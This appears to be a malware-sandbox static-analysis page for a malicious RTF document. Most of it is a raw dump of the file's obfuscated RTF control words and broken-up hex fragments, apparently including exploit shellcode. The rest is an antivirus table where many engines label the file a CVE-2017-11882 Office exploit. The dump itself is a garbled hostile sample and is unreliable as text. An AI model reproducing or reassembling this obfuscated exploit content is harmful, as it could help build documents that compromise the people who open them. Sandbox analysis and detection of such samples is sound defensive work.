Static | ZeroBOX
{\*\8ENaEsszYfdihWNrO9WSk3DRqlOFaLOGnEWqTA3PRWVp8ly5iHt7MK22rNcRQWp7pMTsdw0kr1fJmdwOznIxjb6AUOqtnKaDNAfTMEeFyhYuI}
{\384359534&86!|0<[#%~*#18%9^(?<*3`~']+@=|
|[<<0+5_/-?|0`^;50[#>^$?3&~]<;+-*).~)>5>4~`*?>
<!79?2.?<%9?7+9
??=$%<;([.:*?<-(
?`7.`_0#?%2.50_<<=#&??(&[&.0
<7*<<~*,%~.$
@%';3|/
-@2,_|%~&(<
+=4%6%4!?`$4?4~@~[@2,!
^=(.)|?'9$6~^(?*'(_8>.![9/?#
?~4@[#9-
7;[:??0^##/+@
;6#%0-?~,@8#`^
`%^!|57
=|#??^^318%70-
?~?3.!?:3?(^6')&_!?37`?.?>18|6'`?8`><)5
$%0$_@
-@;23|?;
.^`/<@<&@
9!)30[4?<6$'?=-~
[?#^)24$?@6?3
97>9#;?>%
#>.:.<.
.6];?/?]
)|8@95?31+#5/1,6%|6-&?~;]!>^??]`'9
992?~2%%5
-&|(!~
4'02[#>'|(*13$
6->!:6?8$2)*+
_^32%#
|#_~'#.58?4=%%|?>76>_0<:4.>&;]%=
#?'|&+22)?,_@^?]
4_%|%3#`4#5%7^@&&<0:
8?4>|?@/]``
*?`:*]68'5|[4_?[|95].);.//)|
8$-,-4`=8!+?!3^*#?)]:%7,><*~]71,=?1),/@$-08&
&?7/`146%~4+1[,850)'$'???(<
4'#==%?.|
||[6%.
//09??%/?
2~?6_%%>;?~8+]-6:/7<4|:&#9]68~9<#]-+9'!15+?(.:%>2&2%%,?|3
*-`!?|>]|)[%45<)%>??651):6$<81=19.7`,'%7>8@`_(-+-1`+`1!?7=)&-~*.
50?_>$?;~#^9
]*5;?|#`
%85_@!_
$>?,@&`?;_(=!<$_~$&#%(=[1..257??&50[<?==>4$4=-]1&)`!?4
?;:|2`~*>]
)>>,/8/+).&4~@<%!<,/*~[%`!;(53,#+?~!),.'>&??<98|#9:?&8_?123//|7
+,1)[,0]+16;`3)51?
7:>>[8><28~4?(!6
#,0/%>]?1(@8=87.]!~!:%%*=3?/9^
%'~2/0~/]'+;_6
-]^&-!3[71&)]??[
3:~$0;.(3.#)<*_?<6?![50#622%$:,|[^4_3
-?`~;|~.2290^]?^?|?
%9=-435?.?]1,<<??3%1_2??+*`.))+_>_7*_=;-1)6*@`75?9>/:`&|8`56??<_&^*78
'$,*^5)'9!
&!,*?$8+!8067!?~?9?7?,%[:9.;1_3|,*
?-?#?%)]?%@*=?
%[0`1(6_%-?(
;@4.275!~,
%~?./$*-)?^[_|%4)
3.?%*.:+?!=.]]?
_48`~*)1)+0?:7`]=?~=$%?%)?[-?6?_9;/%_,9_~9:4+8(,:?~3??7](
]?@6..?
2-?)6[(?|73.;?~&6<`97993?'?&
$^'|.1/**?(.2|^776#-'.<?
*_`+])/?6?+#
%@|1^=(%42%.?64&?.?
`?-=#0*&,09:>&+=*&4(4)@46~-
>9@?<?&3_:7~-(433`&]_3,9.$%%-&
<?%4:=-|
|''59.|::?5
:?:]+*5<_
+6@]%%8^?||-_7??-])8
%&,9.*
0'%??~;]3-?(>:50%\object68994853\objautlink70169935\objw2795\objh2325{\*\objdata878273{\*\mgroupChr\{\*\objupdate-'''''''''''}
{\*\enspace501854176 \bin0000\501854176334761078 kbZncly4UID99szPl4TyH8jA33YDixQANbpByHjrsqO5s4JrFBYZ8mEOFnI6juXrG6qZVTiGiJ5mcSElbs8s4QxB22ov9vlSgG7O1zwAHqnc9kl19IkJrkwQhuc7kd8ruFD3HVSTqc40GXyY8cwHINE2UbF4JhgzECdw5gG6hmSMjXsGrzEC9zpvjGFBcmQjvHwTC9Qy7TS6KMU2aZASDEnzf28sRWQ1IkLhLkBt1GHw11yFH4fokGOyb2OCOPCJoGioLpnYTVnfxphcQkBeBB7RHhHwucLZuExZbKLevxusiREqGfF2CXjSYqyZ4AjLlDTmnJkQYA1LvuSEvKIlTO9KZ0rpV4HtWieCZmvBVfWrGGJ1ZIiafkIIUiLXuNtVLGudbmkCvyqCOWfWM4vJQ}
{\*\objalign501854176 \bin0\OaYYBFMlrNUpR}
\dy41\viewkind84\'
{\object\aubaiuluqlckhzdhvcDSJLTXBAIMSBFYEHEPY955260070851575924843aubaiuluqlckhzdhvcDSJLTXBAIMSBFYEHEPY645031746854975705172495650243{\zydmvvpcfkvopeciumvmnysfhxgmjXYUPVDPPVMVHGEECHYMPVKARTHMDH6222603941zydmvvpcfkvopeciumvmnysfhxgmjXYUPVDPPVMVHGEECHYMPVKARTHMDH64607389191476616217}}ad
7d04502
2
4
000000
0
a1b11
0
00000f
ff
fffffff
ffffff
ffff
ff
ffffff
ffff
fff
ffffff
ffffffffff
fffffff
ff
f
ffff
fff
ff
ff
ffffffff
ff
fff
ffffffff
fffff
ff
ff
fff
f
ffff
fff
fff
ff
ff
fffffff
fff
fffff
fffffff
ff
fffff
f
ffffff
fffffff
ffffff
ffff
ff
fffff
ffffff
fdf
fff
ffff
ffff
ffffff
fffffffff
f
ffffff
ffffff
ff
ffffff
fffff
ffffff
fff
ff
fffffff
fff
fffff
ffffff
ffffff
ff
f
fffffff
f
ffffff
ffff
ffffff
f
fffff
ff
fff
fffffff
fffffffff
f
ffff
ffffff
f
ff
f
fffff
ff
ffff
f
f
f
f
f
f
ff
fffffff
ffffff
fff
ff
ffff
ffff
fff
ff
ffffff
ff
ffff
ffff
f
ff
ff
fff
f
00
0
0
2000
45
00
e
007
4007
2
0
0
79000
0000000
0000000
00
0
e0200
0
6000
0000
004e00410054
00000
0000
0000
00
0000
000000
ffff
fffff
ffff
f00
0
0000
00000
00
000000000
00
0000000
000
0000
fff
f0000
00
000000
00000
0000
0000
000000000
000
000000fffffff
ff
0000
0000
000000
000100
00004
080000
000a
00000
0000
0
00
00
1800
000
0000
f
ff
fffff
fffffff
ffff
ffffff
ffffffff
ffffff
ffffff
fffff
fff
ffffff
fffffff
fffffff
ffff
f
ffffff
f
fff
fffff
ffff
ff
ffff
fffff
fffffff
fffffffff
ff
fff
f
f
f
ff
ffffff
f
ff
ff
f
f
f
f
f
f
ff
fff
f
f
ff
f
1c0
6c
0200
00
63873
225a
5c
4f18
9727
42bb
3c601
d20
ffe0e
0024500
4
b9
6
b3
9c53f
cc726fe4
189c0
1f6823
5f65d391f27
8
1ba6b
957e
68e
648e5
e1
1973a
9fea
f
9d1
3793
1
9ac60
537
9a2
0e43
fecc39
dd
6c4
c687
72c1
950e3
c5d
6c
86
334d
d
433d
8c
52
a7a
8e
04
10
4a
0
d5
31
a7b10f
8da
e641be
2a
d3e
8
c87
751
800b
1
d51
86
60a0
2
c
aee
5
1
6
220
f
5f8
fab2
66fc9
a402c
f0f
6281073
bcb7b7e
1f16e106
a1
5b
25290
f387bf
7b
02d3
b8f
7529
482
a5e9110
e
fe9
401000
08010000eb0
e9f4020
0e9
102000
96f01000
e98d0
d9ba31
8
d59e91
02000
0e95b0
d50100
e30000
0000e
9c101000
ffffe9
0ebe8
eb2
0e9fdf
efff
e9c8
0
eff
ffe9c
d
8eb39e9
e90f
b500
f
00e9
9
9a010000
d1
0e981
000
1
b9
bc0
9c51
81c
1
5
008d
89
805b0
86e00
8d8
8
d89
9ff1b000
59
e99ffef
159
e
0e
33f
b05e933
00eb4
b
1fe
eb0
ce
9ae
000
000e
938
a10
0e993f
ffffe9
f0feff
ff
fffeff
110000
008d9bb
1f0
8d9a
0
005b
e9a9
e9
f
f
ff
f
9a9f
eb0
7
7c
1c0fe6906
ee
25aeb1
ffffe9
ff
cfef
ffe913feff
ffff
0e9d3
916f
99cfd
80f
b3dc6
9ec
ad
eefbad
dda30
5e004
846bb
8d
09
9dbe363
7ddf49
4d9afe
894f4b44
c0
f02d8
f03
57b
c679
1
1b
5e
13
f2
b
5ec6
decf4
6
302
a
ac0c
2c
f
02
9481
b
a7cc
9b2f
19d2
6
8
84
1
a
1
6
7
b
9e022e48d39f3
c
cff44d0
0175f2
ae384fc
f075
ee9c
53f8f4
07ecf5
0
0
7a3
4e0
025e5d
8
f54ee5
fa56
d9
c415
59134c3
3f5c3eb
f4
6d9ea8
f
c6
e21fed
49
81ddb
a87fc1
6
e5
2d730f
252e
4dcd0405
40cf
7ab
94b145e72
000
000
00000
000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.6dc7af2a
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Scr.Malcode!gen3
ESET-NOD32 a variant of DOC/Abnormal.C
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-D [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.hxugw
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.hxugw
MAX malware (ai score=85)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!FE30D755F724
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-D [Expl]
Panda Clean
CrowdStrike Clean
alibabacloud Exploit:MSOffice/Abnormal.C
No IRMA results available.